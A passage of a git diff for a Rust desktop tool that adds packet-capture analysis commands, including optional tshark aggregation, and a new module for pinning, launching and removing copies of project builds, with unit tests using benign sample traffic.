packet capture"))?; + ctx.cancel.check()?; + let (flows, cov) = page(&s.flows, p.offset, p.limit); + let duration = s.first_ts_ns.zip(s.last_ts_ns).map(|(a, b)| b.saturating_sub(a) as f64 / 1e9); + let summary = format!( + "{} capture: {} packets, {} bytes{}, {} conversations, {} DNS names asked, {} TLS server names, {} HTTP requests.", + s.format, + s.packets, + s.bytes, + duration.map(|d| format!(" over {d:.1} s")).unwrap_or_default(), + s.flows.len(), + s.dns_queries.len(), + s.tls_sni.len(), + s.http_requests.len() + ); + let mut lims = common_limitations(); + if !s.warnings.is_empty() { + lims.push(Limitation::new("read_warnings", "Part of the file could not be read; see warnings. Packets after the damage are not counted.")); + } + if s.undecoded_frames > 0 { + lims.push(Limitation::new( + "undecoded_frames", + format!("{} frames have no decoded IP layer (other link types, ARP or other protocols).", s.undecoded_frames), + )); + } + if !s.capped_inventories.is_empty() || s.flows_untracked_frames > 0 || s.truncated { + lims.push(Limitation::new( + "caps_hit", + "A size cap was reached (see capped_inventories, flows_untracked_frames and truncated); counts past it are partial.", + )); + } + let extras = json!({"counts": {"packets": s.packets, "flows": s.flows.len(), "dns_queries": s.dns_queries.len(), "tls_sni": s.tls_sni.len(), "http_requests": s.http_requests.len()}}); + let ev = builder(ctx, "packets_capture_show", input.subject.clone(), params_json(&p)) + .result(json!({ + "path": input.path, + "format": s.format, + "version": s.version, + "interfaces": s.interfaces, + "packets": s.packets, + "bytes": s.bytes, + "first_time": time(s.first_ts_ns), + "last_time": time(s.last_ts_ns), + "duration_seconds": duration, + "protocols": s.protocols, + "protocol_stacks": top(&s.stacks, 100), + "endpoints": top(&s.endpoints, 100), + "endpoint_count": s.endpoints.len(), + "flow_count": s.flows.len(), + "flows": flows, + "flows_untracked_frames": s.flows_untracked_frames, + "dns_queries": top(&s.dns_queries, 100), + "dns_answers": top(&s.dns_answers, 100), + "http_requests": top(&s.http_requests, 100), + "tls_sni": top(&s.tls_sni, 100), + "tls_alpn": top(&s.tls_alpn, 100), + "undecoded_frames": s.undecoded_frames, + "capped_inventories": s.capped_inventories, + "truncated": s.truncated, + "warnings": s.warnings, + "continue_with": "packets_fields_show", + })) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::EarlierRecord) + .limitations(lims) + .coverage(cov) + .location(Location::new("path", input.path.display().to_string())) + .build()?; + detailed(ctx, ev, p.detail, extras) +} + +// --------------------------------------------------------------------------------------------- +// packets_fields_show + +fn packets_fields_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: FieldsParams = parse_params(params)?; + let want_ip: Option = match p.ip.as_deref().map(str::trim).filter(|s| !s.is_empty()) { + Some(s) => Some(s.parse().map_err(|_| ToolError::invalid(format!("{s:?} is not an IP address")))?), + None => None, + }; + let want_flow: Option = match p.flow.as_deref().map(str::trim).filter(|s| !s.is_empty()) { + Some(s) => Some(s.trim_start_matches(['f', 'F']).parse().map_err(|_| ToolError::invalid(format!("{s:?} is not a flow id (use 3 or f3)")))?), + None => None, + }; + let want_proto = p.protocol.as_deref().map(|s| s.trim().to_ascii_lowercase()).filter(|s| !s.is_empty()); + let limit = p.limit.clamp(1, 1000); + let input = load(ctx, p.path.as_deref())?; + ctx.report(None, format!("Decoding packets in {}", input.name)); + let mut cap = Capture::new(&input.bytes).map_err(|e| format_err(e, "a packet capture"))?; + let mut flows = FlowTable::default(); + let (mut total, mut matched) = (0u64, 0u64); + let mut rows: Vec = Vec::new(); + for f in cap.by_ref() { + if f.number % 4096 == 0 { + ctx.cancel.check()?; + } + total += 1; + let d = pcap::decode(f.link_type, f.data); + let flow = d.flow_key().and_then(|(k, _)| flows.id_for(k)); + let t = d.transport.as_ref(); + let ok = want_proto.as_deref().is_none_or(|w| d.protocols.contains(&w)) + && want_ip.is_none_or(|ip| d.ip.as_ref().is_some_and(|x| x.src == ip || x.dst == ip)) + && p.port.is_none_or(|port| t.is_some_and(|t| t.src_port == Some(port) || t.dst_port == Some(port))) + && want_flow.is_none_or(|w| flow == Some(w)); + if !ok { + continue; + } + matched += 1; + if matched <= p.offset as u64 || rows.len() >= limit { + continue; + } + let mut row = json!({ + "frame": f.number, + "time": time(f.ts_ns), + "interface": f.interface, + "link": pcap::link_name(f.link_type), + "captured_len": f.data.len(), + "original_len": f.original_len, + "protocols": d.stack(), + "flow": flow, + "src": d.ip.as_ref().map(|ip| pcap::endpoint((ip.src, t.and_then(|t| t.src_port).unwrap_or(0)))), + "dst": d.ip.as_ref().map(|ip| pcap::endpoint((ip.dst, t.and_then(|t| t.dst_port).unwrap_or(0)))), + }); + if let (Value::Object(m), Ok(Value::Object(x))) = (&mut row, serde_json::to_value(&d)) { + m.extend(x.into_iter().filter(|(k, _)| k != "protocols")); + } + rows.push(row); + } + let shown = rows.len() as u64; + let cov = Coverage::page(shown, matched, p.offset as u64); + let mut lims = common_limitations(); + if !cap.warnings.is_empty() { + lims.push(Limitation::new("read_warnings", "Part of the file could not be read; packets after the damage are not listed.")); + } + let filtered = want_proto.is_some() || want_ip.is_some() || p.port.is_some() || want_flow.is_some(); + let summary = + format!("{matched} of {total} packets{} ; showing {shown} from #{}.", if filtered { " match the filter" } else { "" }, p.offset).replace(" ;", ";"); + let b = builder(ctx, "packets_fields_show", input.subject.clone(), params_json(&p)) + .result(json!({ + "path": input.path, + "format": cap.format, + "total_packets": total, + "matched_packets": matched, + "offset": p.offset, + "limit": limit, + "packets": rows, + "warnings": cap.warnings, + })) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::EarlierRecord) + .limitations(lims) + .coverage(cov) + .location(Location::new("path", input.path.display().to_string())); + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// tshark + +/// tshark from Settings → Engines, the engine store or PATH, then Wireshark's standard folder. +fn find_tshark(ctx: &Ctx<'_>) -> Option { + let s = &ctx.session.settings; + craft_anything_engines::locate("tshark", &s.engines.tools, &s.engine_store_dir()).or_else(|| { + let mut c: Vec = + ["ProgramFiles", "ProgramFiles(x86)"].iter().filter_map(std::env::var_os).map(|r| PathBuf::from(r).join("Wireshark").join("tshark.exe")).collect(); + c.push(PathBuf::from("/Applications/Wireshark.app/Contents/MacOS/tshark")); + c.into_iter().find(|p| cfg!(any(windows, target_os = "macos")) && p.is_file()) + }) +} + +fn tshark_version(ctx: &Ctx<'_>, exe: &PathBuf) -> Result { + let cancel = ctx.cancel.clone(); + match craft_anything_platform::Process::new(exe) + .arg("--version") + .timeout(Duration::from_secs(20)) + .stdout_cap(64 << 10) + .stderr_cap(64 << 10) + .cancel_when(move || cancel.is_cancelled()) + .label("tshark") + .run() + { + Ok(o) if o.success => Ok(o.stdout_text().lines().map(str::trim).find(|l| !l.is_empty()).unwrap_or("").to_string()), + Ok(o) => Err(format!("exited with {:?}: {}", o.code, o.stderr_text().lines().last().unwrap_or(""))), + Err(e) => Err(e.message), + } +} + +fn engines_tshark_check(ctx: &mut Ctx<'_>, params: Value) -> Result { + let _p: ClientParams = parse_params(params)?; + let found = find_tshark(ctx); + let probe = found.as_ref().map(|exe| tshark_version(ctx, exe)); + let (version, error) = match probe { + Some(Ok(v)) => (Some(v), None), + Some(Err(e)) => (None, Some(e)), + None => (None, None), + }; + let available = version.is_some(); + let summary = match (&found, &version) { + (Some(p), Some(v)) => format!("{v} is available at {}. packets_inventory_show will use it; the built-in decoder works without it.", p.display()), + (Some(p), None) => format!("tshark was found at {} but did not report a version. The built-in decoder works without it.", p.display()), + (None, _) => "Wireshark's tshark is not installed. That's fine: the packet tools use REI Reverse Engineer's built-in decoder.".into(), + }; + let mut lims = Vec::new(); + if let Some(e) = &error { + lims.push(Limitation::new("version_probe_failed", format!("tshark was found but `--version` failed: {e}"))); + } + let b = builder(ctx, "engines_tshark_check", Subject { kind: "engine".into(), sha256: None, name: Some("tshark".into()) }, json!({})) + .result(json!({ + "available": available, "path": found, "version": version, "error": error, + "built_in_decoder": true, + "remediation": if found.is_none() { Some("Optional: install Wireshark (it includes tshark) and, if it is not on PATH, set its path in Settings → Engines.") } else { None }, + })) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OurRun) + .limitations(lims) + .coverage(Coverage::complete(1)); + Ok(ToolOutput::evidence(b.build()?)) +} + +/// The same inventories, whichever engine produced them. +#[derive(Debug, Default, Serialize)] +struct Inventories { + packets: u64, + protocol_stacks: Vec, + endpoints: Vec, + dns_queries: Vec, + dns_answers: Vec, + tls_sni: Vec, + http_requests: Vec, +} + +fn ranked(map: BTreeMap) -> Vec { + let mut v: Vec = map.into_iter().map(|(value, count)| Count { value, count }).collect(); + v.sort_by(|a, b| b.count.cmp(&a.count).then_with(|| a.value.cmp(&b.value))); + v +} + +const TSHARK_FIELDS: &[&str] = &[ + "frame.protocols", + "ip.src", + "ip.dst", + "ipv6.src", + "ipv6.dst", + "dns.flags.response", + "dns.qry.name", + "dns.qry.type", + "dns.a", + "dns.aaaa", + "tls.handshake.extensions_server_name", + "http.request.method", + "http.host", + "http.request.uri", +]; + +/// Aggregate `tshark -T fields` output (tab-separated, multi-values joined by commas). +fn aggregate_tshark(text: &str) -> Inventories { + let mut inv = Inventories::default(); + let mut maps: [BTreeMap; 6] = Default::default(); + let mut add = |i: usize, k: String| { + if let Some(m) = maps.get_mut(i) + && (m.len() < pcap::MAX_INVENTORY || m.contains_key(&k)) + { + *m.entry(k).or_insert(0) += 1; + } + }; + for line in text.lines() { + inv.packets += 1; + let f: Vec<&str> = line.split('\t').collect(); + let get = |i: usize| f.get(i).copied().unwrap_or(""); + let list = |i: usize| get(i).split(',').map(str::trim).filter(|s| !s.is_empty()).map(str::to_string).collect::>(); + if !get(0).is_empty() { + add(0, get(0).to_string()); + } + let mut addrs: Vec = (1..=4).flat_map(list).collect(); + addrs.sort(); + addrs.dedup(); + for a in addrs { + add(1, a); + } + let response = matches!(get(5), "1" | "True" | "true"); + let names = list(6); + let types = list(7); + if !response { + for (i, n) in names.iter().enumerate() { + let t = types.get(i).and_then(|t| t.parse::().ok()).map(pcap::qtype_name).unwrap_or_else(|| "?".into()); + add(2, format!("{n} ({t})")); + } + } else if let Some(n) = names.first() { + for a in list(8) { + add(3, format!("{n} A {a}")); + } + for a in list(9) { + add(3, format!("{n} AAAA {a}")); + } + } + for s in list(10) { + add(4, s); + } + if !get(11).is_empty() { + add(5, format!("{} {} {}", get(11), if get(12).is_empty() { "-" } else { get(12) }, pcap::strip_userinfo(get(13)))); + } + } + let [stacks, endpoints, q, a, sni, http] = maps; + inv.protocol_stacks = ranked(stacks); + inv.endpoints = ranked(endpoints); + inv.dns_queries = ranked(q); + inv.dns_answers = ranked(a); + inv.tls_sni = ranked(sni); + inv.http_requests = ranked(http); + inv +} + +fn run_tshark(ctx: &Ctx<'_>, exe: &PathBuf, file: &std::path::Path) -> Result<(Inventories, bool), ToolError> { + let mut args: Vec = vec!["-n".into(), "-r".into(), file.display().to_string(), "-T".into(), "fields".into()]; + for opt in ["separator=/t", "occurrence=a", "aggregator=,", "header=n", "quote=n"] { + args.extend(["-E".into(), opt.into()]); + } + for f in TSHARK_FIELDS { + args.extend(["-e".into(), (*f).into()]); + } + let cancel = ctx.cancel.clone(); + let out = craft_anything_platform::Process::new(exe) + .args(&args) + .timeout(Duration::from_secs(300)) + .idle_timeout(Duration::from_secs(120)) + .stdout_cap(64 << 20) + .stderr_cap(1 << 20) + .cancel_when(move || cancel.is_cancelled()) + .label("tshark") + .remediation("Check the capture opens in Wireshark, or use engine=built_in.") + .run_checked()?; + Ok((aggregate_tshark(&out.stdout_text()), out.stdout_truncated)) +} + +fn packets_inventory_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: InventoryParams = parse_params(params)?; + let input = load(ctx, p.path.as_deref())?; + let limit = p.limit.clamp(1, pcap::MAX_INVENTORY); + let tshark = if p.engine == CaptureEngine::BuiltIn { None } else { find_tshark(ctx) }; + if p.engine == CaptureEngine::Tshark && tshark.is_none() { + return Err(ToolError::new(ErrorCode::EngineMissing, "Wireshark's tshark is not installed.") + .with_remediation("Install Wireshark and set tshark's path in Settings → Engines, or use engine=built_in.")); + } + let mut lims = Vec::new(); + let (engine, inv) = match &tshark { + Some(exe) => { + ctx.report(None, format!("Running tshark on {}", input.name)); + let (inv, cut) = run_tshark(ctx, exe, &input.path)?; + if cut { + lims.push(Limitation::new("tshark_output_capped", "tshark printed more than 64 MiB; packets after that point are not counted.")); + } + lims.push(Limitation::new("dns_answer_attribution", "DNS answer addresses are attributed to the first question of the same response.")); + ("tshark", inv) + } + None => { + ctx.report(None, format!("Decoding {}", input.name)); + let cancel = ctx.cancel.clone(); + let s = pcap::summarize(&input.bytes, &|| cancel.is_cancelled()).map_err(|e| format_err(e, "a packet capture"))?; + lims.extend(common_limitations()); + if !s.warnings.is_empty() { + lims.push(Limitation::new("read_warnings", format!("Part of the file could not be read: {}", s.warnings.join("; ")))); + } + let http: Vec = s.http_requests; + let inv = Inventories { + packets: s.packets, + protocol_stacks: s.stacks, + endpoints: s.endpoints, + dns_queries: s.dns_queries, + dns_answers: s.dns_answers, + tls_sni: s.tls_sni, + http_requests: http, + }; + ("built-in", inv) + } + }; + ctx.cancel.check()?; + lims.push(Limitation::new("no_credentials", "user:password parts of HTTP URIs are removed; query strings are kept as recorded.")); + let counts = json!({ + "protocol_stacks": inv.protocol_stacks.len(), "endpoints": inv.endpoints.len(), "dns_queries": inv.dns_queries.len(), + "dns_answers": inv.dns_answers.len(), "tls_sni": inv.tls_sni.len(), "http_requests": inv.http_requests.len(), + }); + let shown = |v: &[Count]| top(v, limit).to_vec(); + let summary = format!( + "{} packets ({engine}): {} addresses, {} DNS questions, {} TLS server names, {} HTTP requests, {} protocol stacks.", + inv.packets, + inv.endpoints.len(), + inv.dns_queries.len(), + inv.tls_sni.len(), + inv.http_requests.len(), + inv.protocol_stacks.len() + ); + let truncated = + [&inv.protocol_stacks, &inv.endpoints, &inv.dns_queries, &inv.dns_answers, &inv.tls_sni, &inv.http_requests].iter().any(|v| v.len() > limit); + let cov = if truncated { static_input::partial(inv.packets) } else { Coverage::complete(inv.packets) }; + let ev = builder(ctx, "packets_inventory_show", input.subject.clone(), params_json(&p)) + .result(json!({ + "path": input.path, + "engine": engine, + "tshark": tshark, + "packets": inv.packets, + "counts": counts, + "limit": limit, + "protocol_stacks": shown(&inv.protocol_stacks), + "endpoints": shown(&inv.endpoints), + "dns_queries": shown(&inv.dns_queries), + "dns_answers": shown(&inv.dns_answers), + "tls_sni": shown(&inv.tls_sni), + "http_requests": shown(&inv.http_requests), + })) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::EarlierRecord) + .limitations(lims) + .coverage(cov) + .location(Location::new("path", input.path.display().to_string())) + .build()?; + detailed(ctx, ev, p.detail, json!({"engine": engine, "counts": counts})) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::{call, call_err}; + use super::aggregate_tshark; + use crate::Engine; + use craft_anything_testkit::pcap as fx; + use craft_anything_testkit::temp_file; + use serde_json::json; + + #[test] + fn overview_and_fields() { + let e = Engine::new(crate::testing::session()); + let p = temp_file("t.pcapng", &fx::pcapng(&fx::sample_frames())); + let v = call(&e, "packets_capture_show", json!({"path": p, "limit": 2})); + let r = &v["result"]; + assert_eq!(r["packets"], 7); + assert_eq!(r["flow_count"], 3); + assert_eq!(r["flows"].as_array().unwrap().len(), 2); + assert_eq!(v["coverage"]["next_offset"], 2); + assert_eq!(r["tls_sni"][0]["value"], "example.com"); + assert!(r["first_time"].as_str().unwrap().starts_with("2023-11-14T22:13:20")); + + let v = call(&e, "packets_fields_show", json!({"path": p, "protocol": "dns"})); + assert_eq!(v["result"]["matched_packets"], 2); + let pk = &v["result"]["packets"][1]; + assert_eq!(pk["frame"], 2); + assert_eq!(pk["protocols"], "eth:ipv4:udp:dns"); + assert_eq!(pk["src"], "8.8.8.8:53"); + assert_eq!(pk["flow"], 1); + assert_eq!(pk["dns"]["answers"][0]["value"], "93.184.216.34"); + + let v = call(&e, "packets_fields_show", json!({"path": p, "flow": "f2", "limit": 1, "offset": 1})); + assert_eq!(v["result"]["matched_packets"], 3); + assert_eq!(v["result"]["packets"][0]["transport"]["tcp_flags"], "SYN,ACK"); + let v = call(&e, "packets_fields_show", json!({"path": p, "ip": "93.184.216.34", "port": 80})); + assert_eq!(v["result"]["packets"][0]["http"]["host"], "example.com"); + call_err(&e, "packets_fields_show", json!({"path": p, "ip": "not-an-ip"})); + call_err(&e, "packets_capture_show", json!({"path": temp_file("x.bin", b"nope")})); + } + + #[test] + fn built_in_inventories() { + let e = Engine::new(crate::testing::session()); + let p = temp_file("t.pcap", &fx::pcap(&fx::sample_frames())); + let v = call(&e, "packets_inventory_show", json!({"path": p, "engine": "built_in"})); + let r = &v["result"]; + assert_eq!(r["engine"], "built-in"); + assert_eq!(r["packets"], 7); + assert_eq!(r["dns_queries"][0]["value"], "example.com (A)"); + assert_eq!(r["http_requests"][0]["value"], "GET example.com http://example.com/a?b=1"); + let v = call(&e, "engines_tshark_check", json!({})); + assert!(v["result"]["available"].is_boolean()); + } + + #[test] + fn tshark_output_aggregation() { + let out = "eth:ethertype:ip:udp:dns\t10.0.0.1\t8.8.8.8\t\t\t0\texample.com\t1\t\t\t\t\t\t\n\ + eth:ethertype:ip:udp:dns\t8.8.8.8\t10.0.0.1\t\t\t1\texample.com\t1\t93.184.216.34,93.184.216.35\t\t\t\t\t\n\ + eth:ethertype:ip:tcp:http\t10.0.0.1\t1.2.3.4\t\t\t\t\t\t\t\t\tGET\th.example\thttp://u:p@h.example/x\n"; + let inv = aggregate_tshark(out); + assert_eq!(inv.packets, 3); + assert_eq!(inv.dns_queries[0].value, "example.com (A)"); + assert_eq!(inv.dns_answers.len(), 2); + assert_eq!(inv.http_requests[0].value, "GET h.example http://h.example/x"); + assert_eq!(inv.endpoints[0].value, "10.0.0.1"); + assert_eq!(inv.endpoints[0].count, 3); + } +} diff --git a/desktop/crates/engine/src/tools/pin_tools.rs b/desktop/crates/engine/src/tools/pin_tools.rs new file mode 100644 index 0000000..4313ce0 --- /dev/null +++ b/desktop/crates/engine/src/tools/pin_tools.rs @@ -0,0 +1,391 @@ +//! Pinned builds as tools: pin a project's build (a frozen or light copy), list pins with what's +//! running, open, stop, rename and remove them. Play shares their run list, so a program runs once +//! per folder unless another copy is asked for. See `crate::pins`. + +use crate::pins::{self, Opened, PinMode, Runs}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use crate::workspace::Workspace; +use craft_anything_evidence::{ErrorCode, ToolError}; +use craft_anything_platform::Launch; +use schemars::JsonSchema; +use serde::Deserialize; +use serde_json::{Value, json}; +use std::path::{Path, PathBuf}; +use std::sync::Arc; + +pub fn specs() -> Vec { + vec![ + ToolSpec { + id: "project_pin_create", + title: "Pin a project's build", + summary: "Keep the project's current build at hand to open later, whatever the builder changes next. `frozen` (the default) copies the app's files and its program into the project's pinned/ folder, without compiler output or dependencies it doesn't start from, so rebuilds can't change or break it. `light` copies the program and the code too but hard-links dependencies and media to the project's, saving their space: replacing or deleting those in the project leaves the pin's as they were, but a file rewritten in place changes in both. With `estimate`, only says what each would take. Websites can't be pinned yet.", + beginner: "Keeps this version so you can always open it.", + toolset: Toolset::Projects, + effects: Effects::WRITES_FILESYSTEM, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_pin_create, + }, + ToolSpec { + id: "project_pins_list", + title: "List pinned builds", + summary: "The pins of one project, or of every project in the project folders from settings: id, name, frozen or light, the round it was pinned at, its size, and whether it's running (started in this session).", + beginner: "Shows the versions you kept.", + toolset: Toolset::Projects, + effects: Effects::READ_ONLY, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_pins_list, + }, + ToolSpec { + id: "project_pin_open", + title: "Open a pinned build", + summary: "Start a pinned build in its own window. If it's already running, says so instead of starting a second copy, unless `another` is true (copies of one pin share the files they save beside themselves). A start that quits within two seconds is reported with its exit code and last output. It runs the code the builder wrote, so it needs the person's consent.", + beginner: "Opens a version you kept.", + toolset: Toolset::Projects, + effects: Effects::LAUNCHES_PROCESS.union(Effects::EXECUTES_FOREIGN_CODE), + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_pin_open, + }, + ToolSpec { + id: "project_pin_stop", + title: "Stop a pinned build", + summary: "Close what a pin started in this session (every copy of it).", + beginner: "Closes a version you opened.", + toolset: Toolset::Projects, + effects: Effects::MUTATES_SESSION, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_pin_stop, + }, + ToolSpec { + id: "project_pin_rename", + title: "Rename a pinned build", + summary: "Give a pin a new name.", + beginner: "Renames a version you kept.", + toolset: Toolset::Projects, + effects: Effects::WRITES_FILESYSTEM, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_pin_rename, + }, + ToolSpec { + id: "project_pin_delete", + title: "Remove a pinned build", + summary: "Remove a pin. Its copy goes with it, including anything the program saved beside itself there, so `confirm` must be true; a running pin is refused until it's stopped.", + beginner: "Removes a version you kept.", + toolset: Toolset::Projects, + effects: Effects::WRITES_FILESYSTEM.union(Effects::MAY_DISCARD_DATA), + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_pin_delete, + }, + ] +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CreateParams { + /// The project's folder. + pub project: PathBuf, + /// `frozen` (default): a copy of its own; `light`: shares dependencies and media with the + /// project. `live` was retired and is refused. + #[serde(default)] + pub mode: PinMode, + /// Its name (default: the project's name and round). + #[serde(default)] + pub name: Option, + /// Only say what each kind of copy would take; pin nothing. + #[serde(default)] + pub estimate: bool, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ListParams { + /// Only this project's pins (default: every project's). + #[serde(default)] + pub project: Option, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct PinParams { + /// The project's folder. + pub project: PathBuf, + /// The pin's id (from project_pins_list). + pub pin: u32, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct OpenParams { + /// The project's folder. + pub project: PathBuf, + /// The pin's id (from project_pins_list). + pub pin: u32, + /// Start another copy even if one is running. + #[serde(default)] + pub another: bool, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct RenameParams { + /// The project's folder. + pub project: PathBuf, + /// The pin's id. + pub pin: u32, + /// Its new name. + pub name: String, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DeleteParams { + /// The project's folder. + pub project: PathBuf, + /// The pin's id. + pub pin: u32, + /// Must be true: a pin's copy, and what it saved, can't be brought back. + #[serde(default)] + pub confirm: bool, +} + +fn open_project(project: &Path) -> Result { + Workspace::open(project).map_err(|e| { + ToolError::new(ErrorCode::NotFound, format!("{} isn't a project folder: {}", project.display(), e.message)) + .with_remediation("Pass a folder from project_list (it holds craft.json).") + }) +} + +/// The Godot a Godot project opens in. +pub(crate) fn godot(ctx: &Ctx<'_>) -> Option { + let store = ctx.session.settings.engine_store_dir(); + craft_anything_engines::game::inventory(&craft_anything_engines::game::Places::here(store)) + .best(craft_anything_engines::game::Builder::Godot) + .map(|i| i.program.clone()) +} + +/// This session's run list (made on first use). +pub(crate) fn runs(ctx: &mut Ctx<'_>) -> Arc { + match ctx.session.ext.get::() { + Some(r) => r, + None => { + let r = Arc::new(Runs::default()); + ctx.session.ext.insert(r.clone()); + r + } + } +} + +/// Start what `app` holds through the run list, logging to `log`, and describe what happened. A +/// program that quit straight away with an error is an error carrying its last output. +pub(crate) fn start(ctx: &mut Ctx<'_>, app: &Path, log: &Path, another: bool, label: &str) -> Result { + let Some((program, args)) = crate::outputs::launch(app, godot(ctx).as_deref()) else { + return Err(ToolError::new(ErrorCode::NotFound, "There's nothing to start: no built program here.") + .with_remediation("Finish a build first (rebuild), or open the folder to look.")); + }; + start_program(ctx, app, log, another, label, (program, args)) +} + +fn start_program(ctx: &mut Ctx<'_>, app: &Path, log: &Path, another: bool, label: &str, (program, args): (PathBuf, Vec)) -> Result { + if let Some(dir) = log.parent() { + std::fs::create_dir_all(dir).map_err(|e| ToolError::io(dir.display(), e))?; + } + let launch = Launch::new(&program).args(&args).cwd(app).hide_console().log_to(log).label(label).remediation("Open the folder and start it by hand."); + let (launched, quit) = match runs(ctx).open(app, launch, another)? { + Opened::AlreadyRunning(l) => return Ok(json!({"already_running": true, "pid": l.pid(), "started": program.display().to_string()})), + Opened::Started { launched, quit } => (launched, quit), + }; + let last_output = pins::tail(log); + match quit { + Some(ended) if ended.code != Some(0) => { + let code = ended.code.map_or_else(|| "it was stopped".to_string(), |c| format!("exit code {c}")); + let said = if last_output.is_empty() { String::new() } else { format!(" It printed:\n{last_output}") }; + Err(ToolError::new(ErrorCode::ProgramFailed, format!("{label} closed straight away ({code}).{said}")) + .with_remediation(format!("Its whole output is in {}.", log.display()))) + } + _ => Ok(json!({ + "already_running": false, + "started": program.display().to_string(), + "args": args, + "pid": launched.pid(), + "closed_at_once": quit.map(|e| json!({"code": e.code, "after_ms": e.after.as_millis() as u64})), + "last_output": quit.map(|_| last_output), + })), + } +} + +fn project_pin_create(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: CreateParams = parse_params(params)?; + let ws = open_project(&p.project)?; + let godot = godot(ctx); + if p.estimate { + let size = pins::estimate(&ws, godot.as_deref())?; + return Ok(ToolOutput::Value(json!({"estimate": size}))); + } + let cancel = ctx.cancel.clone(); + let mut last = std::time::Instant::now(); + let mut progress = |done: u64, total: u64| { + if last.elapsed().as_millis() >= 250 || done == total { + last = std::time::Instant::now(); + let fraction = if total == 0 { 1.0 } else { done as f32 / total as f32 }; + ctx.report(Some(fraction), format!("Copying the build: {} of {} MB", done / 1_000_000, total / 1_000_000)); + } + !cancel.is_cancelled() + }; + let pin = pins::create(&ws, p.mode, p.name.as_deref(), godot.as_deref(), &mut progress)?; + Ok(ToolOutput::Value(json!({"pin": pin, "folder": pin.dir(&ws).display().to_string()}))) +} + +fn project_pins_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ListParams = parse_params(params)?; + let projects = match &p.project { + Some(dir) => vec![open_project(dir)?], + None => Workspace::list_in(&ctx.session.settings.project_locations()), + }; + let runs = runs(ctx); + let mut out = Vec::new(); + for ws in &projects { + for pin in pins::list(ws) { + let running = runs.running(&pin.app_dir(ws)); + out.push(json!({ + "project": ws.root.display().to_string(), + "project_name": ws.manifest.name, + "pin": pin, + "folder": pin.dir(ws).display().to_string(), + "running": !running.is_empty(), + "pids": running.iter().map(|l| l.pid()).collect::>(), + })); + } + } + Ok(ToolOutput::Value(json!({"count": out.len(), "pins": out}))) +} + +fn project_pin_open(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: OpenParams = parse_params(params)?; + let ws = open_project(&p.project)?; + let pin = pins::get(&ws, p.pin)?; + let launch = pin.launch(&ws, godot(ctx).as_deref())?; + let mut out = start_program(ctx, &pin.app_dir(&ws), &pin.log_path(&ws), p.another, &pin.name, launch)?; + if let Some(o) = out.as_object_mut() { + o.insert("pin".into(), json!(pin.id)); + } + Ok(ToolOutput::Value(out)) +} + +fn project_pin_stop(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PinParams = parse_params(params)?; + let ws = open_project(&p.project)?; + let pin = pins::get(&ws, p.pin)?; + let stopped = runs(ctx).stop(&pin.app_dir(&ws)); + Ok(ToolOutput::Value(json!({"pin": pin.id, "stopped": stopped}))) +} + +fn project_pin_rename(_ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: RenameParams = parse_params(params)?; + let ws = open_project(&p.project)?; + Ok(ToolOutput::Value(json!({"pin": pins::rename(&ws, p.pin, &p.name)?}))) +} + +fn project_pin_delete(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DeleteParams = parse_params(params)?; + if !p.confirm { + return Err(ToolError::invalid("Removing a pin can't be undone.").with_remediation("Pass confirm: true to remove it.")); + } + let ws = open_project(&p.project)?; + let pin = pins::get(&ws, p.pin)?; + // An old live pin runs the project's app: what's running there isn't the pin's to keep. + if pin.mode.keeps_copy() && !runs(ctx).running(&pin.app_dir(&ws)).is_empty() { + return Err(ToolError::invalid(format!("{} is open.", pin.name)).with_remediation("Close it (project_pin_stop), then remove it.")); + } + pins::delete(&ws, p.pin)?; + Ok(ToolOutput::Value(json!({"removed": p.pin}))) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::workspace::TargetRef; + use crate::{CallOptions, Caller, Consent, Engine}; + + #[cfg(unix)] + #[test] + fn opening_a_pin_keeps_the_program_selected_before_copying() { + use std::os::unix::fs::PermissionsExt; + use std::time::{Duration, SystemTime}; + + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Game", "a packaged game", TargetRef::None).unwrap(); + let build = ws.app_dir().join("Build"); + std::fs::create_dir_all(build.join("obj")).unwrap(); + let game = build.join("game"); + let helper = build.join("obj/helper"); + for (path, output, seconds) in [(&game, "selected-game", 20), (&helper, "wrong-helper", 10)] { + std::fs::write(path, format!("#!/bin/sh\nprintf '%s\\n' '{output}'\n")).unwrap(); + std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o755)).unwrap(); + let times = std::fs::FileTimes::new().set_modified(SystemTime::UNIX_EPOCH + Duration::from_secs(seconds)); + std::fs::File::options().write(true).open(path).unwrap().set_times(times).unwrap(); + } + assert_eq!(crate::outputs::packaged_program(&build), Some(game)); + let e = Engine::new(crate::testing::session()); + let call = |id: &str, params: Value| { + e.call(id, params, CallOptions::new(Caller::Cli).with_consent(Consent::Granted)).map(|out| out.to_json()["result"].clone()) + }; + for mode in 